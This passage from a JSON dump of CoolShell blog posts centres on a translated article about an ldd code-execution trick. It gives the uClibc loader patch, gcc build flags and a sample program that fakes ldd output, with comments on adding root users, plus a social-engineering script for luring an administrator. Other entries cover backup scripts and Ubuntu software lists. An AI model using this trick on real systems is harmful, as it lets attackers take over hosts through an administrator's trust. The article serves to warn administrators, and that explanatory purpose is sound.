[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/9917.html)[Alan Cox：大教堂、市集与市议会](https://coolshell.cn/articles/9917.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/8275.html)[对九个超级程序员的采访](https://coolshell.cn/articles/8275.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\nThe post [Windows 7 的新粉丝 Linus Torvalds](https://coolshell.cn/articles/1619.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-27 ldd 的一个安全问题.md",
    "content": "---\nlayout: post\ntitle: ldd 的一个安全问题\ndate: 2009/10/27/ 16:15:46\nupdated: 2009/10/27/ 16:15:46\nstatus: publish\npublished: true\ntype: post\n---\n\n我们知道“ldd”这个命令主要是被程序员或是管理员用来查看可执行文件所依赖的动态链接库的。是的，这就是这个命令的用处。可是，这个命令比你想像的要危险得多，也许很多黑客通过ldd的安全问题来攻击你的服务器。其实，ldd的安全问题存在很长的时间了，但居然没有被官方文档所记录来下，这听上去更加难以理解了。怎么？是不是听起来有点不可思议？下面，让我为你细细道来。\n\n\n首先，我们先来了解一下，我们怎么来使用ldd的，请你看一下下面的几个命令：\n\n\n\n```\n(1) $ ldd /bin/grep\n        linux-gate.so.1 =>  (0xffffe000)\n        libc.so.6 => /lib/libc.so.6 (0xb7eca000)\n        /lib/ld-linux.so.2 (0xb801e000)\n\n(2) $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep\n        linux-gate.so.1 =>  (0xffffe000)\n        libc.so.6 => /lib/libc.so.6 (0xb7e30000)\n        /lib/ld-linux.so.2 (0xb7f84000)\n\n(3) $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep\n        linux-gate.so.1 =>  (0xffffe000)\n        libc.so.6 => /lib/libc.so.6 (0xb7f7c000)\n        /lib/ld-linux.so.2 (0xb80d0000)\n```\n\n第(1)个命令，我们运行了 `ldd` 于 `/bin/grep`。我们可以看到命令的输出是我们想要的，那就是 `/bin/grep` 所依赖的动态链接库。\n\n\n第(2)个命令设置了一个叫 LD\\_TRACE\\_LOADED\\_OBJECTS 的环境变量，然后就好像在运行命令 `/bin/grep` (但其实并不是)。 其运行结果和ldd的输出是一样的！\n\n\n第(3)个命令也是设置了环境变量 LD\\_TRACE\\_LOADED\\_OBJECTS ，然后调用了动态链接库 `ld-linux.so` 并把 `/bin/grep` 作为参数传给它。我们发现，其输出结果还是和前面两个一样的。\n\n\n\n#### 具体发生了什么？\n\n\n对于第二个和第三个命令来说，好像是对 `ldd` 的一个包装或是一个隐式调用。对于第二个和第三个命令来说， `/bin/grep` 这个命令就根本没有被运行。这是一个GNU动态载入器的怪异的特性。如果其注意到环境变量LD\\_TRACE\\_LOADED\\_OBJECTS 被设置了，那么它就不会去执行那个可运行的程序，而去输出这个可执行程序所依赖的动态链接库 （在BSD 系统上的`ldd` 是一个C 程序)。\n\n\n如果你使用的是Linux，那么，你可以去看看 `ldd` 程序，你会发现这是一个 bash 的脚本。如果你仔细查看这个脚本的源码，你会发现，第二个命令和第三个命令的差别就在于 `ld-linux.so` 装载器是否可以被`ldd`所装载，如果不能，那就是第二个命令，如果而的话，那就是第三个命令。\n\n\n所以，如果我们可以让`ld-linux.so` 装载器失效的话，或是让别的装载器来取代这个系统默认的动态链接库的话，那么我们就可以让 `ldd`来载入并运行我们想要程序了——使用不同的载装器并且不处理LD\\_TRACE\\_LOADED\\_OBJECTS 环境变量，而是直接运行程序。\n\n\n例如，你可以创建一个具有恶意的程序，如： ~/app/bin/exec 并且使用他自己的装载器 ~/app/lib/loader.so。如果某人（比如超级用户root） 运行了 `ldd /home/you/app/bin/exec` ，于是，他就玩完了。因为，那并不会列出所依赖的动态链接库，而是，直接执行你的那个恶意程序，这相当于，那个用户给了你他的授权。\n\n\n#### 编译一个新的装载器\n\n\n下载 [uClibc](http://www.uclibc.org/) C库。这是一个相当漂亮的代码，并且可以非常容易地修改一下源代码，使其忽略LD\\_TRACE\\_LOADED\\_OBJECTS 检查。\n\n\n\n```\n$ mkdir app\n$ cd app\napp$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'\n```\n\n解压这个包，并执行 `make menuconfig`，选项你的平台架构（比如：i386），剩下的事情保持不变。\n\n\n\n```\n$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx\n$ rm -rf uClibc-0.9.30.1.tar.bz2\n$ cd uClibc-0.9.30.1\n$ make menuconfig\n```\n\n编辑 .config 并设置目标安装目录：到 `/home/you/app/uclibc`，  \n\n把下面两行\n\n\n\n```\n\nRUNTIME_PREFIX=\"/usr/$(TARGET_ARCH)-linux-uclibc/\"\nDEVEL_PREFIX=\"/usr/$(TARGET_ARCH)-linux-uclibc/usr/\"\n```\n\n改成\n\n\n\n```\nRUNTIME_PREFIX=\"/home/you/app/uclibc/\"\nDEVEL_PREFIX=\"/home/you/app/uclibc/usr/\"\n```\n\n现在你需要改动一下其源代码，让其忽略LD\\_TRACE\\_LOADED\\_OBJECTS 环境变量的检查。 下面是个这修改的diff，你需要修改的是 `ldso/ldso/ldso.c` 文件。你可把下面的这个diff存成一个叫file的文件，然后运行这个命令：`patch -p0 < file`。如果你不这样做的话，那么，我们的黑客程序就无法工作，而我们的这个装载器还是会认为 `ldd` 想列出动态链接库的文件列表。\n\n\n[patch]  \n\n— ldso/ldso/ldso-orig.c 2009-10-25 00:27:12.000000000 +0300  \n\n+++ ldso/ldso/ldso.c 2009-10-25 00:27:22.000000000 +0300  \n\n@@ -404,9 +404,11 @@  \n\n } #endif  \n\n+ /\\*  \n\n if (\\_dl\\_getenv(\"LD\\_TRACE\\_LOADED\\_OBJECTS\", envp) != NULL) {  \n\n trace\\_loaded\\_objects++;  \n\n }  \n\n+ \\*/  \n\n #ifndef \\_\\_LDSO\\_LDD\\_SUPPORT\\_\\_  \n\n if (trace\\_loaded\\_objects) {  \n\n[/patch]\n\n\n下面让我们来编译并安装它。\n\n\n\n```\n$ make -j 4\n$ make install\n```\n\n于是，我们的 uClibc 装载器就被安装了，并且libc 库指向了 /home/you/app/uclibc. 就这么简单，现在，我们需要做的就是把我们的uClibc的装载器 (app/lib/ld-uClibc.so.0)变成默认的。\n\n\n#### 小试 牛刀\n\n\n首先，先让我们来创建一个测试程序，这人程序也就是输出些自己的东西，这样可以让我们看到我们的程序被执行了。我们把这个程序放在 `app/bin/`下，叫“myapp.c”，下面是源代码\n\n\n\n```\n#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n  if (getenv(\"LD_TRACE_LOADED_OBJECTS\")) {\n    printf(\"All your things are belong to me.\\n\");\n  }\n  else {\n    printf(\"Nothing.\\n\");\n  }\n  return 0;\n}\n```\n\n这是一个很简单的代码了，这段代码主要检查一下环境变量LD\\_TRACE\\_LOADED\\_OBJECTS 是否被设置了，如果是，那么恶意程序执行，如果没有，那么程序什么也不发生。\n\n\n下面是编译程序的命令，，大家可以看到，我们静态链接了一些函数库。我们并不想让LD\\_LIBRARY\\_PATH这个变量来发挥作用。\n\n\n\n```\n$ L=/home/you/app/uclibc\n$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \\\n    -Wl,-rpath-link,$L/lib \\\n    -nostdlib \\\n    myapp.c -o myapp \\\n    $L/usr/lib/crt*.o \\\n    -L$L/usr/lib/ \\\n    -lc\n```\n\n下面是GCC的各个参数的解释：\n\n\n* **-Wl,–dynamic-linker,$L/lib/ld-uClibc.so.0** — 指定一个新的装载器。\n* **-Wl,-rpath-link,$L/lib** — 指定一个首要的动态装载器所在的目录，这个目录用于查找动态库。\n* **-nostdlib** — 不使用系统标准库。\n* **myapp.c -o myapp** — 编译myapp.c 成可执行文件 myapp,\n* **$L/usr/lib/crt\\*.o** — 静态链接runtime 代码\n* **-L$L/usr/lib/** — libc 的目录（静态链接）\n* **-lc** —  C 库\n\n\n现在让我们来运行一下我们的 `myapp` （没有ldd，一切正常）\n\n\n\n```\napp/bin$ ./myapp\nNothing.\n```\n\nLD\\_TRACE\\_LOADED\\_OBJECTS 没有设置，所以输出 “Nothing” 。\n\n\n现在，让我们来使用 `ldd` 来看看这个程序的最大的影响力，让我们以root身份来干这个事。\n\n\n\n```\n$ su\nPassword:\n# ldd ./myapp\nAll your things are belong to me.\n```\n\n哈哈，我们可以看到，ldd触发了我们的恶意代码。于是，我们偷了整个系统！\n\n\n#### 邪恶的程序\n\n\n下面这个例子更为实际一些，如果没有`ldd` ，那程序程序会报错 “error while loading shared libraries” ，这个错误信息会引诱你去去使用 `ldd` 去做检查，如果你是root的话，那么就整个系统就玩完了。而当你可以了 `ldd` 后，它会在干完坏事后，模仿正确的`ldd`的输出，告诉你 `libat.so.0` 不存在。\n\n\n下面的代码仅仅是向你展示了一下整个想法，代码还需加工和改善。\n\n\n\n```\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/types.h>\n\n/*\nThis example pretends to have a fictitious library 'libat.so.0' missing.\nWhen someone with root permissions runs `ldd this_program`, it does\nsomething nasty in malicious() function.\n\nI haven't implemented anything malicious but have written down some ideas\nof what could be done.\n\nThis is, of course, a joke program. To make it look more real, you'd have\nto bump its size, add some more dependencies, simulate trying to open the\nmissing library, detect if ran under debugger or strace and do absolutely\nnothing suspicious, etc.\n*/\n\nvoid pretend_as_ldd()\n{\n    printf(\"\\tlinux-gate.so.1 =>  (0xffffe000)\\n\");\n    printf(\"\\tlibat.so.0 => not found\\n\");\n    printf(\"\\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\\n\");\n    printf(\"\\t/lib/ld-linux.so.2 (0xb8017000)\\n\");\n}\n\nvoid malicious()\n{\n    if (geteuid() == 0) {\n        /* we are root ... */\n        printf(\"poof, all your box are belong to us\\n\");\n\n        /* silently add a new user to /etc/passwd, */\n        /* or create a suid=0 program that you can later execute, */\n        /* or do something really nasty */\n    }\n}\n\nint main(int argc, char **argv)\n{\n    if (getenv(\"LD_TRACE_LOADED_OBJECTS\")) {\n        malicious();\n        pretend_as_ldd();\n        return 0;\n    }\n\n    printf(\"%s: error while loading shared libraries: libat.so.0: \"\n           \"cannot open shared object file: No such file or directory\\n\",\n           argv[0]);\n    return 127;\n}\n```\n\n \n\n\n#### 邪恶的电话\n\n\n事实上来说，上面的那段程序可能的影响更具破坏性，因为大多数的系统管理员可能并不知道不能使用 `ldd` 去测试那些不熟悉的执行文件。下面是一段很可能会发现的对话，让我们看看我们的程序是如何更快地获得系统管理员的权限的。\n\n\n系统管理员的电话狂响……\n\n\n系统管理员： “同志你好，我是系统管理员，有什么可以帮你的？”\n\n\n黑客：“管理员同志你好。我有一个程序不能运行，总是报错，错误好像是说一个系统动态链接库有问题，你能不能帮我看看？”\n\n\n系统管理员：“没问题，你的那个程序在哪里？”\n\n\n黑客： “在我的home目录下，/home/hchen/app/bin/myapp”。\n\n\n系统管理员：“ OK，等一会儿”，黑客在电话这头可以听到一些键盘的敲击声。\n\n\n系统管理员：“好像是动态链接库的问题，你能告诉我你的程序具体需要什么样的动态链接库吗？”\n\n\n黑客说: “谢谢，应该没有别的嘛。”\n\n\n系统管理员：“嗯，查到了，说是没有了 `libat.so.0`这是你自己的动态链接库吗？”\n\n\n黑客说：“哦，好像是的，你等一下，我看看……” 黑客在那头露出了邪恶的笑，并且，讯速地输入了下面的命令：\n\n\n`mv ~/.hidden/working_app ~/app/bin/myapp`  \n\n`mv ~/.hidden/libat.so.o ~/app/bin/`\n\n\n黑客说：“哦，对了，的确是我的不对，我忘了把这个链接库拷过来了，现在应该可以了，谢谢你啊，真是不好意思，麻烦你了”\n\n\n系统管理员： “没事就行了，下次注意啊！”（然后系统管理心里暗骂，TMD，又一个白痴用户！……）\n\n\n**教训一：千万不要使用 `ldd` 去测试你不知道的文件！  \n\n教训二：千万不要相信陌生人！**\n\n\n文章：[来源](http://www.catonmat.net/blog/ldd-arbitrary-code-execution/)（以上文章并非完全翻译，我做过一些修改，所以，如果你要转载，请注明作者和出处）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [ldd 的一个安全问题](https://coolshell.cn/articles/1626.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-30 文件备份的几个简单命令.md",
    "content": "---\nlayout: post\ntitle: 文件备份的几个简单命令\ndate: 2009/10/30/ 7:16:20\nupdated: 2009/10/30/ 7:16:20\nstatus: publish\npublished: true\ntype: post\n---\n\n我们知道，备份文件是一件很重要的事情，我在《[优秀程序员的十个习惯](https://coolshell.cn/articles/222.html)》一文向大家说明了备份文件应该是程序员最基本的一个习惯。本文主要是向大家介绍一些在备份文件和数据时能用得到的一些示例，当然，这些示例主要是通过一些命令行或是脚本来实现的。这就是用命令行和脚本的优势，你可以实现比较灵活和自动的定制。\n\n\n本文中的脚本和示例都是主要是通过zip, tar, ftp, wget和shell脚本来完成。在Linux下，你可以什么也不用安装任何程序，但在Windows下，你需要安装zip 和wget这三个命令（在本文的最后有这三个命令的链接，你可以去下载）\n\n\n#### 几个小脚本\n\n\n**1）首先，我们来看一下，如何给某目录打个zip包。**\n\n\n**Windows**:\n\n\n `zip -r backup.zip \"c:\\yourfolder\"`\n\n\n**Linux**: (打包自己的home目录)\n\n\n`tar -czvf ~/backup.tgz --exclude backup.tgz ~/`\n\n\n  \n\n**2）接下来，我们再来看一下，创建一个带有时间文件名的压缩包，并上传到远程主机的一个例子。**\n\n\n **Windows**\n\n\n\n```\n\n  :: cmd 脚本\n  :: 压缩包文件格式`backup-mm-dd-yyyy.zip'\n  :: 注意：%dir% 被引号括起是怕目录名中有空格\n\n  @echo off\n\n  set host=ftp.yourhost.com\n  set user=username\n  set pass=password\n  set file=backup-%date:~4,2%-%date:~7,2%-%date:~10%.zip\n  set dir=\"yourfolder\"\n\n  zip -r %file% %dir%\n\n  >  script.ftp echo open %host%\n  >> script.ftp echo %user%\n  >> script.ftp echo %pass%\n  >> script.ftp echo bin\n  >> script.ftp echo put %file%\n  >> script.ftp echo bye\n\n  ftp.exe -d -s:script.ftp > backup.log\n\n  del script.ftp\n\n```\n\n**Linux**\n\n\n\n```\n\n  #!/bin/bash\n\n  host=\"ftp.yoursite.com\"\n  user=\"username\"\n  pass=\"password\"\n  file=\"backup-$(date '+%m-%d-%Y').tgz\"\n  dir=\"$HOME\"\n\n  tar -cvzf $file $dir\n\n  ftp -vin <ftp.log\n  open $host\n  user $user $pass\n  bin\n  put $file\n  close\n  bye\n  EOF\n\n```\n\n**3）最后，我们来看一看，通过wget命令来下载备份好的压缩包。**\n\n\n**Windows**\n\n\n\n```\n\n  :: cmd 脚本\n  :: 注意： '^' 是一个命令的换行符\n\n  set host=\"ftp://ftp.your.host.com\"\n  set user=\"flintstone\"\n  set pass=\"yabbadabbadoo\"\n\n  wget %host% --ftp-user=%user% --ftp-password=%pass% ^ \n      --mirror --output-file=backup.log --passive-ftp\n\n```\n\n**Linux**\n\n\n\n```\n\n  #!/bin/sh\n  # 注意 '\\' 是命令的换行符\n  \n  host=\"ftp://ftp.your.host.com\"\n  user=\"username\"\n  pass=\"password\"\n\n  wget $host --ftp-user=$user --ftp-password=$pass \\\n  --mirror --output-file=backup.log --passive-ftp\n\n```\n\n#### 相关工具\n\n\n* Info-Zip: <http://www.info-zip.org/>\n* GNU Tar: <http://www.gnu.org/software/tar/>\n* GNU Wget: <http://www.gnu.org/software/wget/>\n\n\n#### 几点注意\n\n\n上面的那几个命令比较简单，只是表明一些备份的脚本思路。在实际过程当中，基本上也是这样，下面是几点注意。\n\n\n1）给备份文件打包压缩这是第一步，你可以选用其它的压缩程序。如bzip。  \n\n2）文件名上有时间信息比较容易归档。有时候，文件包比较大，还需要对大文件进行分割（一般的压缩软件都支持文件分割）。  \n\n3）使用wget和ftp可能会有用户名密码泄露的问题，使用ssh拷贝文件会比较好。  \n\n4）源代码最好还是使用版本控制工具备份（比如Subversion或CVS）  \n\n5）备份脚本可以放在计划任务（linux是corn）中以实际自动化。  \n\n6）以上的方法一般说来比较适用于全部备份，而不是增量备份。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/3136.html)[chmod -x chmod的N种解法](https://coolshell.cn/articles/3136.html)\n* [![抄袭，腾讯 和 产品 ](../wp-content/uploads/2012/06/i-hate-copycat-150x150.png)](https://coolshell.cn/articles/7617.html)[抄袭，腾讯 和 产品](https://coolshell.cn/articles/7617.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/3540.html)[一段Javascript的代码](https://coolshell.cn/articles/3540.html)\n* [![Visual Studio的Vim插件](../wp-content/uploads/2009/12/viemu-movie-150x150.gif)](https://coolshell.cn/articles/1901.html)[Visual Studio的Vim插件](https://coolshell.cn/articles/1901.html)\n* [![OMG, Windows 7 来自未来](../wp-content/uploads/2009/03/windows_7_created_in_future2-300x179-1-150x150.jpg)](https://coolshell.cn/articles/179.html)[OMG, Windows 7 来自未来](https://coolshell.cn/articles/179.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/2529.html)[StackOverflow的404错误页](https://coolshell.cn/articles/2529.html)\nThe post [文件备份的几个简单命令](https://coolshell.cn/articles/1640.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-30 装完Ubuntu 9.10后要干的事.md",
    "content": "---\nlayout: post\ntitle: 装完Ubuntu 9.10后要干的事\ndate: 2009/10/30/ 11:10:47\nupdated: 2009/10/30/ 11:10:47\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2009/05/ubuntu-logo1-300x274.jpg \"Ubuntu 9.10\")Ubuntu 9.10刚刚release，就有人在网上发表了贴子告诉大家在装完这个操作系统后，还需要去安装的一些开源免费软件，相当丰富。不过，这个贴子的链接被GFW干掉了，所以，你需要使用Tor的支持，或是使用Google Reader才能查看[源文](http://blog.thesilentnumber.me/2009/09/top-things-to-do-after-installing.html)（[RSS链接](http://feeds.feedburner.com/TheSilentNumber)）。而这个贴子非常长，所以我无法作全文翻译，不过这个贴子的内容具有很强的指导意义，所以我在这里为大家总结一下该文所提到的那些诸多的东西。（关于那些如何翻墙的事情怎么做我就不多说了，网上有很多相关的文章，你自己搜索一下就可以找到）\n\n\n#### 基本工作\n\n\n1）第一件事自然是下载那些Ubuntu的镜像站点表，以及更新操作系统的一些补丁。“系统”->“管理”-> “更新管理器”。\n\n\n2）第二件事是设置文件目录共享。就是在文件夹上点右键，在菜单中选“属性”，然后在对话框中选“共享”，那个对话框整得跟XP几乎一模一样。当然，这需要samba的支持。（sudo apt-get install samba）\n\n\n3）接下来是设置时间同步。通过NTP（Network Time Protocol）同步你的时间。通过点击“系统”->“管理”-> “时间/日期”，然后选择“Keep synchronized with Internet servers”（和Internet服务器同步），于是你需要安装NTP协议。（sudo apt-get install ntp）\n\n\n\n#### \n\n\n#### 受限软件\n\n\n1）DVD方面有一些受限的东西，所以，你可能需要安装libdvdcss，但首先你要安装libdvdread4。\n\n\nsudo apt-get install libdvdread4  \n\nsudo /usr/share/doc/libdvdread4/install-css.sh\n\n\n2）ubuntu-restricted-extras包中，包括了一堆Ubuntu不能合法使用的东西。比如：unrar，也就是解rar文件的程序，微软的Truetype字体，Sun JRE，还有一些受限代码，还有Adobe Flash Player，等等。这并不代表你不能安装，你可以通过“应用程序”->“Ubuntu软件中心”中安装。（sudo apt-get install ubuntu-restricted-extras）\n\n\n　\n\n\n#### 界面相关\n\n\n1）**GNOME Shell**。关于这个无以言表的东西，你是无法拒绝的。（sudo apt-get install gnome-shell）\n\n\n2）**高级桌面效果**。这就是所谓的3D桌面了，效果相当的炫。通过*System -> Preferences -> Appearance*来设置。在对话框中，选Extra。然后你就自己玩吧。使用Simple CompizConfig Settings Manager更容易一些。（sudo apt-get install simple-ccsm）\n\n\n3）**Basic Compositing**。你是一个有图形界面狂燥症的人吗？如果的是话，你一定需要这个功能了（当然，硬件也得跟上）。按Alt+F2，然后运行gconf-editor，浏览Apps -》 metacity -> general，然后，勾选compositing\\_manager……\n\n\n4）**Extra样式**。这就啥也不说了，太多的效果了了，多得都没法说。（sudo apt-get install arc-colors community-themes gdm-themes gnome-backgrounds gnome-colors gnome-themes gnome-themes-extras gnome-themes-more metacity-themes shiki-colors zgegblog-themes）\n\n\n5）**Electric Sheep 屏保**。这个屏保很炫啊。(sudo apt-get install electricsheep)\n\n\n　\n\n\n#### 桌面相关\n\n\n1）**Application Launcher**。一个相当漂亮的程序启动器（sudo apt-get install gnome-do）\n\n\n2）**Universal Applets**。许多的桌面小程序。（sudo apt-get install universal-applets）APT Line: APT line: deb http://download.opensuse.org/repositories/home:/some-guy:/screenlets/xUbuntu\\_9.04/ ./\n\n\n3）**剪贴板管理器**。方便你的拷贝粘贴操作。（sudo apt-get install parcellite）\n\n\n　\n\n\n#### 音频/视频编辑器\n\n\n1）**视频编辑器PiTiVi**。功能相当强大。（sudo apt-get install pitivi）\n\n\n2）**视频捕捉Instanbul**。（sudo apt-get install istanbul）\n\n\n3）**音频录制编辑器Jokosher**。一个强大的非线性多音轨的录音和编辑器。（sudo apt-get install jokosher）\n\n\n4）**摄像头Cheese**。基于GStreamer的一个摄像头程序（sudo apt-get install cheese）\n\n\n　\n\n\n#### 多媒体Playback\n\n\n1）**多媒体中心Moovida**。原名是Elisa。一个很不错的家庭影院程序。（sudo apt-get install moovida）\n\n\n2）**视频Feed软件Miro**。原名是Democracy Player。（sudo apt-get install miro）\n\n\n3）**媒体播放器Banshee**。（sudo apt-get install banshee）\n\n\n　\n\n\n#### 网页浏览器\n\n\nFirefox 3.5就不多说了。\n\n\n1）**Google Chrome**。（sudo apt-get install chromium-browser）\n\n\n2）**Epiphany**。GNOME的集成浏览器。（sudo apt-get install epiphany-browser）\n\n\n　\n\n\n#### 游戏\n\n\n1）**PlayDeb**。[PlayDeb](http://blog.thesilentnumber.me/2009/07/playdebnet-beta-2-launches.html)是一个游戏库。通过PlayDeb.net安装游戏是相当简单和方便的。你可以把其加到你的源里[playdeb package](http://archive.getdeb.net/install_deb/playdeb_0.3-1~getdeb1_all.deb)。（wget -O- http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add -）\n\n\n2）**Yo Frankie!**。这个大名鼎鼎的游戏我就不介绍了。（sudo apt-get install yofrankie）\n\n\n3）**Nexuiz**。第一人称视角射击类的游戏。（sudo apt-get install nexuiz）\n\n\n　\n\n\n#### 图片和发行物\n\n\n1）**图片管理器Solang**。F-Spot做得并不令人满意，你可以试试这个最新的管理器。（sudo apt-get install solang）\n\n\n2）**向量图Inkscape**。SVG文件格式，很像Illustrator, CorelDraw。（sudo apt-get install inkscape）\n\n\n3）**3D图片Blender**。相当不错的一个3D图创建器。[Open Movie Project](http://en.wikipedia.org/wiki/Blender_Foundation#Open_Movie_Project)的一部分。（sudo apt-get install blender）\n\n\n4）发**行物编辑器Scribus**。你可以用这个软件来制作一些报纸，小册子，卡片，海报，封面等发行物。（sudo apt-get install scribus）\n\n\n　\n\n\n#### 文件分享\n\n\n1）**P2P软件Gnunet**。一个MP3的P2P分享软件（sudo apt-get install gnunet-gtk）\n\n\n2）**直连DC++。**最好的方式就是直接。DC++是这其中最好的。（sudo apt-get install linuxdcpp）\n\n\n3）**Usenet – LottaNZB**。虽然不是名费的，但Usenet下载是奇快无比。LottaNZB是其中一个client。（sudo apt-get install lottanzb）\n\n\n4）**BT下载Deluge**。功能齐全的BT客户端。（sudo apt-get install deluge）\n\n\n　\n\n\n#### 时间管理\n\n\n1）**Alarm Clock**。一个日历提醒程序。（sudo apt-get install alarm-clock）\n\n\n2）**时间跟踪Hamster**。这个小程序可以统计你操作不同程序的时间。（sudo apt-get install hamster-applet）\n\n\n　\n\n\n#### 沟通软件\n\n\n1）**即时聊天Empathy**。\n\n\n2）**微博写作器Gwibber**。可以用于Twitter, Identi.ca, Jaiku, Facebook, Digg等等。（sudo apt-get install gwibber）\n\n\n3）**QQ 和 Skype**。这是我加上的，你可以在QQ的网上下载Linux版，很不错。还有Skype。\n\n\n　\n\n\n#### 安全和隐私\n\n\n1）**On-The-Fly 加密**。<http://sd4l.sourceforge.net/>\n\n\n2）**VPN访问**。sudo apt-get install network-manager-pptp\n\n\n3）**Onion Routing**。这个软件中最著名的就是我在文章前提到过的Tor，那个可以绕过GFW的软件。（sudo apt-get install tor tor-geoipdb）\n\n\n4）**防火墙**。sudo apt-get install gufw\n\n\n5）**杀毒软件ClamAV**。sudo apt-get install clamtk\n\n\n　\n\n\n#### 系统工具\n\n\n1）**LiveUSB Creator**。想用USB启动你的电脑吗？用UNetbootin这个工具吧。（sudo apt-get install unetbootin）\n\n\n2）**备份工具Back In Time**。sudo apt-get install backintime-gnome\n\n\n3）**磁盘分区工具**。GNOME Partition Editor可以帮你管理你的USB，IPOD或其它可写存储（sudo apt-get install gparted）\n\n\n4）**虚拟机VirtualBox**。这个开源的虚拟机，还不错。sudo apt-get install virtualbox-3.0\n\n\n \n\n\n好了，基本上就是这些，我要说，没有图片的支持，看来这篇文章不怎么的。呵呵。不过希望你喜欢。也希望你给我们推荐你所喜欢的Ubuntu工具。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![GNU/Linux下有多少是GNU的？](../wp-content/uploads/2011/06/GNUTotalSplit-150x150.png)](https://coolshell.cn/articles/4826.html)[GNU/Linux下有多少是GNU的？](https://coolshell.cn/articles/4826.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/2352.html)[telnet的一个Bug](https://coolshell.cn/articles/2352.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1097.html)[Ksplice Uptrack — Ubuntu更新不用重启](https://coolshell.cn/articles/1097.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/501.html)[Ubuntu的并行启动](https://coolshell.cn/articles/501.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/424.html)[PDF电子书搜索引擎](https://coolshell.cn/articles/424.html)\n* [![Emacs配色在线生成器](../wp-content/uploads/2010/03/emacs_color_theme-150x150.jpg)](https://coolshell.cn/articles/2271.html)[Emacs配色在线生成器](https://coolshell.cn/articles/2271.html)\nThe post [装完Ubuntu 9.10后要干的事](https://coolshell.cn/articles/1644.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-9 GDB 7.0 发布.md",
